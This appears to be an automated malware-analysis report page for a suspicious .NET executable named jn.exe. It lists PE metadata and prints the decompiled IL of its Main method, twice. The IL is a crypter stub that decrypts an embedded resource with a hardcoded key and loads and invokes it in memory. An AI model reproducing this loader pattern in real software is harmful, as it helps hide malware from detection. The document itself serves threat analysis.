Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
VWB86HDH
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
jn.exe
Full Name
jn.exe
EntryPoint
System.Void Stub.cMain::Main()
Scope Name
jn.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v2.0.50727
Tables Header Version
512
WinMD Version
<null>
Assembly Name
jn
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
2
Main Method
System.Void Stub.cMain::Main()
Main IL Instruction Count
58
Main IL
nop <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.0 <null>
ldloc.0 <null>
ldstr VWB86HDH
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.1 <null>
nop <null>
ldloc.1 <null>
ldnull <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.3 <null>
ldloc.3 <null>
brtrue.s IL_0021: ldloc.1
leave.s IL_0077: nop
ldloc.1 <null>
callvirt System.Int64 System.IO.Stream::get_Length()
conv.ovf.i <null>
newarr System.Byte
stloc.2 <null>
ldloc.1 <null>
ldloc.2 <null>
ldc.i4.0 <null>
ldloc.2 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
ldloc.2 <null>
call System.Text.Encoding System.Text.Encoding::get_Default()
ldstr VWB86HDH7BYVNZSCO05KOXU1HE514DWMAMGMQ52G
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
call System.Byte[] Stub.cMain::Decrypt(System.Byte[],System.Byte[])
stloc.2 <null>
ldloc.2 <null>
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
nop <null>
leave.s IL_0076: nop
ldloc.1 <null>
ldnull <null>
ceq <null>
stloc.3 <null>
ldloc.3 <null>
brtrue.s IL_0075: endfinally
ldloc.1 <null>
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
nop <null>
ret <null>
Module Name
jn.exe
Full Name
jn.exe
EntryPoint
System.Void Stub.cMain::Main()
Scope Name
jn.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v2.0.50727
Tables Header Version
512
WinMD Version
<null>
Assembly Name
jn
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
2
Main Method
System.Void Stub.cMain::Main()
Main IL Instruction Count
58
Main IL
nop <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.0 <null>
ldloc.0 <null>
ldstr VWB86HDH
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.1 <null>
nop <null>
ldloc.1 <null>
ldnull <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.3 <null>
ldloc.3 <null>
brtrue.s IL_0021: ldloc.1
leave.s IL_0077: nop
ldloc.1 <null>
callvirt System.Int64 System.IO.Stream::get_Length()
conv.ovf.i <null>
newarr System.Byte
stloc.2 <null>
ldloc.1 <null>
ldloc.2 <null>
ldc.i4.0 <null>
ldloc.2 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
ldloc.2 <null>
call System.Text.Encoding System.Text.Encoding::get_Default()
ldstr VWB86HDH7BYVNZSCO05KOXU1HE514DWMAMGMQ52G
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
call System.Byte[] Stub.cMain::Decrypt(System.Byte[],System.Byte[])
stloc.2 <null>
ldloc.2 <null>
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
nop <null>
leave.s IL_0076: nop
ldloc.1 <null>
ldnull <null>
ceq <null>
stloc.3 <null>
ldloc.3 <null>
brtrue.s IL_0075: endfinally
ldloc.1 <null>
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
nop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙